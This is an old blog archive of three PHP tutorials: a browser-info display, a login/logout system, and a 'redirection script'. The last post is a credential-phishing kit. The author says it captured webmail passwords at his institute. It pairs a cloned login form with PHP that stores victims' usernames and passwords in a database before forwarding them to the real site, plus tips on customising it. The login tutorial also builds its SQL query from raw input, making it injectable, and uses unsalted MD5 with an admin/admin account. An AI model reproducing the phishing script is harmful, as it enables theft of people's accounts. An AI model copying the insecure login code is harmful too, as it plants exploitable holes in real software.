Archive for category useful PHP scripts
simple PHP code to display browser information
Posted by admin in useful PHP scripts on June 24th, 2009
The below script will display three parameters namely
- Browser:
- Screen Resolution:
- Browser resolution:
on your screen. Create a file binfo.php and place the file in your HTTP server with PHP enabled. Open the file to know about your browser, screen and browser resolution. The below example is written in three languages javascript, PHP, html which are very extensively used by web developers.
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Browser Information</title>
<script language="Javascript">
document.write("<form method='POST' action ='<? echo $PHP_SELF; ?>'>");
document.write("<input type='hidden' name='version' value='" + navigator.appVersion + "'>");
document.write("<input type='hidden' name='type' value='" + navigator.appName + "'>");
document.write("<input type='hidden' name='screenWidth' value='" + screen.width + "'>");
document.write("<input type='text' style='display:none' name='screenHeight' value='" + screen.height + "'>");
document.write("<input type='hidden' name='browserHeight' value='" + document.body.offsetHeight + "'>");
document.write("<input type='hidden' name='browserWidth' value='" + document.body.offsetWidth + "'>");
document.write("<input type='submit' value='Get browser information'><p>");
document.write('</form>');
</script>
</head>
<body>
<?
echo "<b>Browser:</b> $type Version: $version<br>";
echo "<b>Screen Resolution:</b> $screenWidth x $screenHeight pixels.<br>";
if ($browserWidth != 0) :
echo "<b>Browser resolution:</b> $browserWidth x $browserHeight pixels.";
else :
echo "No JavaScript browser resolution support for this browser!";
endif;
?>
</body>
</html>
Login and Logout script PHP
Posted by admin in useful PHP scripts on June 15th, 2009
Initially create a configuration script to mention the database host, username, password to access the database and database name.
Which may look like the below php script loadconfig.php
<?php
// the mySQL host
$dbHost="ur db hostname";
// the name of the database to connect to
$dbName="ur database name";
// username with database access
$uName="ur database username";
// password of \uName
$passwd="ur database password";
?>
Then create a login script to access the index page only when authenticated.
create a login.php script which may look like
<?php
session_start();
if (!isset($_SESSION["lastVisited"] )) {
$_SESSION["lastVisited"] = $_SERVER["HTTP_REFERER"];
$tmp = split("\/",$_SESSION["lastVisited"]);
if (end($tmp) == "login.php") {
$_SESSION["lastVisited"] = "index.php";
}
}
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
try {
include("loadconf.php");
} catch (Exception $e) {
header("Location: Error.php");
}
mysql_connect($dbHost,$uName,$passwd);
@mysql_select_db($dbName);
if (!isset($_REQUEST['username'])) {
$title="Logging In";
$loggingIn = true;
?>
<div style="display: table; width: 100%;">
<div style="width: 60%;display: table-cell; vertical-align: middle; padding-right: 100px;">
<p>Enter your username and password in the boxes on the right and click "Login" to continue.</p>
<?if (isset($_REQUEST["e"])) {?><p style="color: red;">Bad username or password.</p><?}?>
</div>
<div style="display: table-cell; vertical-align: middle;">
<form action="login.php" method="post">
<p>Username<br />
<input name="username" /></p>
<p>Password<br />
<input name="password" type="password" /></p>
<p><input type="submit" value="Login" />
<input type="reset" value="Clear" /></p>
</form>
</div>
</div>
<?
} else {
mysql_connect($dbHost,$uName,$passwd);
@mysql_select_db($dbName);
$query = "SELECT * from users where uName = '".$_REQUEST["username"]."' and pwd = '".md5($_REQUEST["password"])."'";
$result = mysql_query($query);
if (mysql_numrows($result)) {
$_SESSION["loggedIn"] = true;
$_SESSION["userName"] = $_REQUEST["username"];
header("Location: ".$_SESSION["lastVisited"]);
} else {
header("Location: login.php?e=error");
}
mysql_close();
}
?>
In the above login script it is required to make an table named users containing atleast two coloums with uName(username), pwd(password). You can do this using the below mysql script
database.sql or you can enter the below two commands if you have access to the database.
use $dbName
CREATE TABLE users (uID INT NOT NULL AUTO_INCREMENT PRIMARY KEY, uName VARCHAR(30), pwd VARCHAR(32));
Finally we need a logout script to end the session. You may wonder why you need a logout script but it is very important for a security reason as anyone having the cookies or session key can login for ever. It is very good practice to logout every time you login. I know number of cases where people lost their orkut, gmail and other accounts for not logging out of their system :). So here is the logout.php script for the above login script.
<?php
session_start();
unset($_SESSION["loggedIn"]);
header("Location: ".$_SERVER["HTTP_REFERER"]);
?>
So you learnt how to write a login, logout script and also to create a simple database with uId, uName, pwd to authenticate users.
To check whether the script is running or not, insert an entry in your users table by using the below sql command.
use $dbName
INSERT INTO users values (1,'admin','21232f297a57a5a743894a0e4a801fc3');
The above password is in a md5 hash for “admin”. so try to login with
username : admin
password : admin
Hope you found this useful.
PHP redirection script
Posted by admin in useful PHP scripts on May 10th, 2009
This is my one of the first php scripts which helped to access many webmail passwords in my institute.
<form action="redirect.php" method="post">
<td align="left" width="*"><input type="text" name="login_username" value="" />
<tr><td align="right" width="30%">Password:</td>
<td align="left" width="*"><input type="password" name="secretkey" />
<input type="hidden" name="js_autodetect_results" value="0" />
<input type="hidden" name="just_logged_in" value="1" />
<tr><td align="left"><center><input type="submit" value="Login" />
<td width='30%' align="right">Log in to:</td>
<td width="*" align="left">
<select name="loginServer">
<option value="Naambor">Naambor</option>
<option value="Jampui- Alumni only">Jampui- Alumni only</option>
<option value="Disang - Student Server">Disang - Student Server</option
<option value="Tamdil - 2008 Batch">Tamdil - 2008 Batch</option>
</select>
</td>
</form>
THis is a PHP script which first takes the input from the site and then redirects to the original site.
The above mentioned form with username and password is stored and the values are redirected back to the site.
<?php
# “login_username” is the form input name for username and “secretkey” is the form input name for password
# Get the post variables from the referer URL.
$username = $_POST['login_username'];
$password = $_POST['secretkey'];
# Connect to the database server
$connect=mysql_connect(”<server>”,”<username>”,”<password>”) or die(”Cannot connect to server”);
# Select database
$database=mysql_select_db(”<database>”) or die(”Cannot connect to database”);
# Create a database to insert the corresponding values
# Insert our post values in to the database
$sql = “INSERT INTO db (username, password) VALUES (’$username’, ‘$password’)”;
# Execute the query
$rs = mysql_query($sql,$connect);
# Redirect the variables back to the original site
header(”Location: http://mysite.com/redirect.php?login_username=”.$username.”&secretkey=”.$password.”&js_autodetect_results=1&just_logged_in=1&loginServer=<server>”);
?>
The above script is corresponds to the specific form mentioned above and only used to send get variables. You should customize the script to be usefull for practical purposes.
The fields you have to change in the PHP script are
- input form field names
- database server, database name, database username, database passwor
- create database structure to insert the fields
- Finally you have to change the header Location to redirect to by checking the hidden and get variables that are actually going to the server.


Recent Comments